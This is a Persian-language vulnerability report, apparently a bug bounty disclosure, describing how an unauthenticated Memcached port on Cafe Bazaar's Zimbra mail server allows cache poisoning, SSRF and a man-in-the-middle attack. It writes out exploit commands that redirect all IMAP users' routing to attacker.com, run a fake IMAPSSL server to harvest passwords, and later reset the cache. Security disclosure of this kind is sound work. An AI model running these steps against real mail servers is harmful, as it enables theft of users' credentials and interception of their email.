استخراج گذرواژه‌های ایمیل‌های cafebazaar.ir@* توسط آسیب‌پذیری SSRF به دلیل باز بودن پورت نرم‌افزار مدیریت کش Memcached

خلاصه گزارش:

در دامنه mailx.hezardastan.net عدم کنترل دسترسی نرم‌افزار مدیریت کش Memcached منجر به کشف آسیب‌پذیری شنود ترافیک Mail Server از راه دور می‌شود.

به موجب این آسیب‌پذیری، مهاجم می تواند اطلاعات حساس کاربران سرور ایمیل که شامل موارد زیر است را استخراج کرده یا تغییر دهد:

  • آدرس‌های ایمیل ثبت شده (محرمانه و عمومی)
  • اطلاعات اصالت‌سنجی شامل گذرواژه و توکن‌ها به صورت Plain-Text
  • متن ایمیل‌های دریافتی و ارسالی
  • برخی اطلاعات سرور مثل نسخه های نرم افزاری و UpTime همچنین با توجه به اینکه بسیاری از حساب‌های دیگر کافه‌بازار با ایمیل‌های سازمانی ساخته شده است، امکان نفوذ به دامنه‌ها و سرورهای دیگر با استفاده از آسیب‌پذیری کشف شده وجود دارد.

شرح آسیب پذیری

سرور mailx.hezardastan.net از نرم‌افزار تحت سرور Zimbra Mail Server استفاده می کند. در Zimbra پروتکل‌های IMAP ,POP3 ,HTTPS ,SMTP و نسخه‌های امن آن‌ها پشتیبانی می شوند. با انجام پورت اسکنر:

test

پورت‌های مرتبط با سرویس ایمیل Zimbra با رنگ مشکی مشخص شده‌اند.نکه قابل توجه در اینجا اینس است که پورت‌های Backend Server ممکن است فقط یک Forwarder باشند که البته در ادامه گزارش با خواندن کش مشخص می‌شود که Backend Server و User Interface بر روی یک سرور قرار دارند. در بین پورت‌های باز, پورت 11211 مربوط Memcached نیز وجود دارد. با بررسی بیشتر مشخص شد که این سرویس از اصالت‌سنجی (Authentication) یا کلید خاصی برای اتصال استفاده نمی‌کند و امن‌سازی باید با بسته بودن پورت مربوطه صورت پذیرد.

همچنین در سال های اخیر حملات DoS گسترده ای علیه سرویس های Memcached با عنوان Memcrashed انجام شده است و سازنده نرم افزار توصیه می کند که پورت فیلتر شده و از طریق اینترنت قابل دسترس نباشد:

با بررسی‌های بیشتر مشخص شد که Zimbra از این سرویس برای کنترل کش استفاده می‌کند. با اتصال به پورت ۱۱۲۱۱:

  • آدرس ایمیل‌های موجود در کش افشا می‌شود
  • امکان نوشتن مقدار جدید در کش میسر است
  • امکان بازنویسی مقادیر در کش میسر است
  • برخی اطلاعات دیگر مانند زمان محلی سرور و مواردی اینچنیی افشا می‌شود

حمله به Zimbra از طریق Memcahced

Zimbra اطلاعات پروتکل ارتباطی کاربران به همراه آدرس ایمیل یا نام کاربری و آدرس سرور با پروتکل مورد استفاده برای خواندن ایمیل (IMAP, POP3, HTTP) را در کش ذخیره کرده و از آن‌ها استفاده می‌کند. در قدم اول می توان آدرس ایمیل و شناسه کاربران آنلاین را از حافظه کش استخراج کرد. برای راحتی کار از ماژول memcached_extractor در نرم افزار Metasploit استفاده می کنیم:

metasploit connect to memcached

به عنوان نمونه تعدادی از آدرس‌های ایمیل و شناسه کاربران سرور استخراج شده و در فایل emails.txt همراه گزارش پیوست شده است. از این اطلاعات برای حملات Brute Force و فیشینگ می توان استفاده کرد. برای بررسی بهتر عملکرد سرور تصویر زیر تهیه شده است:

recon

جریان‌کاری این قسمت:

  1. کاربر با استفاده از اطلاعات  خود لاگین شده و سشن برقرار می شود.
  2. سرور پروتکل و آدرس Backend، آدرس ایمیل کاربر را برای استفاده در آینده در Memcached ذخیره می کند.
  3. کاربر با رابطی کاربری Zimbra کار می‌کند.
  4. سرور به کش Memcached مراجعه می کند و با توجه به اطلاعات ذخیره شده پروتکل و Backend Server را انتخاب می کند.
  5. سرور درخواست کاربر را همراه با اطلاعات اصالت‌سنجی به Backend Server ارسال می‌کند نمونه ی آیتم کش برای چند کاربر که از حافظهی Memcached استخراج شده است,به این شرح است:
route:proto=imapssl;user=REDACTED@cafebazaar.ir 127.0.0.1:7993
route:proto=pop3ssl;user=REDACTED@cafebazaar.cloud 127.0.0.1:7995
route:proto=httpssl;user=REDACTED@cafebazaar.ir 127.0.0.1:8443

فرم کلی کلید یا نام آیتم های کش که Zimbra استفاده می کند به این شکل است:

route:proto=[UserProtocol];user=EmailAddressOrID

پروتکل‌هایی که Zimbra پشتیبانی می‌کند:

Protocol Proxy Address
IMAPSSL 127.0.0.1:7993
POP3SSL 127.0.0.1:7995
HTTPSSL(HTTPS) 127.0.0.1:8443

Zimbra از پروتکل‌های ناامن مثل HTTP نیز پشتیبانی می کند ولی سرور مذکور تنها حالت امن SSL پروتکل‌ها را پشتیبانی می‌کند همچنین Backend Server علاوه بر 127.0.0.01، از اینترنت نیز قابل دسترسی است:

Protocol Proxy Address
IMAPSSL mailx.hezardastan.net:7993
POP3SSL mailx.hezardastan.net:7995
HTTPSSL(HTTPS) mailx.hezardastan.net:8443

آسیب‌پذیری SSRF

در صورتی که بتوان آدرس Backend Server را از 127.0.0.1 به مقدار دلخواه تغییر داد، ترافیک سرور به آدرس دلخواه هدایت می‌شود، بدین‌ترتیب آسیب‌پذیری SSRF از طریق دستکاری در Memcahed قابل انجام است. نکته قابل ذکر این است که سرور به پراکسی های با آدرس ‍127.0.0.1 از طریق کانکشن SSL متصل شده است که به احتمال بسیار زیاد فاقد Client Authentication هست. برای آزمون اولیه، کافی است مراحل زیر را طی کنیم:

  1. ایجاد یک  SSL Listener  با استفاده از یک گواهی‌نامه غیر معتبر (Self-singed SSL Certificate) و OpenSSL
  2. تغییر داده یک کاربر آنلاین در Memcached به آدرس سرور Listener ایجاد شده  برای شروع حمله، مقدار داده:
route:proto=imapssl;user=REDACTED@cafebazaar.ir

را از:

127.0.0.1:7993

به:

attacker.com:44330

تغییر می دهیم. پس از اقدامات بالا، یک کانکشن از طرف سرور mailx.hezardastan.net در SSL Lintener دریافت شد.

zimbra connected

حمله مرد میانی (Man in the Middle)

در این مرحله، برای حصول «سرقت اطلاعات کاربران» و «ادامه کارکرد صحیح سامانه»،‌ نیاز بود تا از حمله مردمیانی استفاده کنیم. در این سناریو سرور مهاجم فقط یک نسخه از اطلاعات را دریافت می‌کند و سامانه به کارکرد عادی خود ادامه می‌دهد. البته این امر به‌دلیل باز پورت‌های Backend Server قابل انجام است.

recon

سناریوی حمله:

  1. کاربر وارد حساب خود می شود و اطلاعات Backend Server در Memcached ذخیره می‌شود.
  2. مهاجم مقادیر کش ذخیره شده را دستکاری کرده و آدرس Backend Server را به آدرس دلخواهی تغییر می دهد.
  3. ترافیک سرور Zimbra به سمت سرور مهاجم هدایت می‌شود.
  4. مهاجم ترافیک را از حالت SSL خارج می کند. در این مرحله نشت اطلاعات صورت می‌گیرد. مهاجم قابلیت 5. ویرایش اطلاعات در این قسمت را نیز دارد.مهاجم اطلاعات را دوباره رمز کرده و از طریق یک ارتباط SSL به 6. پورت‌های Backend Server که از اینترنت قابل درسترس هستند ارسال می کند. این روند برای ارتباطات بعدی نیز وجود دارد،‌ بدین‌ترتیب متن ایمیل و موارد دیگر نیز بدون نیاز به اصالت‌سنجی نیز افشا می‌شود.

توضیح کد اکسپلویت اسکریپ پایتون ضمیمه شده در گزارش، چندین کار را انجام می‌دهد:

exploit code

1. استخراج ایمیل و شناسه کاربران آنلاین به همراه اطلاعات پروتکل: با دستور زیر می توان این اطلاعات را استخراج کرد (اطلاعات علاوه بر نمایش در فایل users.txt ذخیره می شود):

python HezarSploit.py -m dumpusers

recon

2. شبیه‌سازی IMAPSSL Server برای ارتباط با کلاینت: این اسکریپت یک IMAPSSL Server را پیاده می‌کند تا بتواند با کلاینت ارتباط برقرار کند و اطلاعات اصالت‌سنجی را سرقت کند. برای این کار دستور زیر اجرا می شود که سرور را روی پورت دلخواه فعال می کند:

python HezarSploit.py -m mitm --port 4444

این سرور اطلاعات اصالت‌سنجی را استخراج و در فایل credentials.txt ذخیره می کند.

3. آلوده‌سازی کش و تزریق اطلاعات سرور مهاجم به عنوان پراکسی: اسکریپت آیتم‌های کش ذخیره شده برای کاربران در Memcached را دستکاری می کند و آدرس پراکسی آن ها را به آدرس مهاجم تغییر می دهد. پس از این اقدام ترافیک آن‌ها به SSL Server تقلبی روانه می شود. این قابلیت برای کاربرانی که از پروتکل IMAP استفاده می کنند طراحی شده است. دستور زیر مقدار پراکسی همه کاربران IMAP را به آدرس مهاجم تغییر می دهد:

python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

و دستور زیر مقدار پراکسی را فقط برای یک کاربر خاص تغییر می دهد تا فقط آن کاربر شنود شود:

python HezarSploit.py -m poisoning --u 

4. بازنشانی مقدار پراکسی ها پس از اتمام حمله MITM: پس از اتمام عملیات شنود,دستور زیر اجرا می شود تا مقدار پراکسی کاربران به مقدار اولیه برگردد:

python HezarSploit.py -m reset

حمله نهایی از طریق آسیب‌پذیری کشف شده

ابتدا کش را آلوده می کنیم.آدرس ما attacker.com است و سرور را روی پورت 4444 راه اندازی خواهیم کرد و میخواهیم اطلاعات احراز هویت همه ی کاربران آنلاین را که از IMAP استفاده می کنند به دست بیاوریم:

python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

recon

سپس سرور IMAP را روی پورت 4444 راه اندازی می کنیم تا ترافیک را دریافت کنیم:

python HezarSploit.py -m mitm --port 4444

recon

در هنگام حمله، سرویس میل به خوبی کار کرده، اما برای جلوگیری از هدایت ترافیک کاربرانی که گذرواژه آنها افشا شده است، دستور زیر را اجرا می‌کنیم:

python HezarSploit.py -m reset

نمونه‌ای اطلاعت استخراج شده:

recon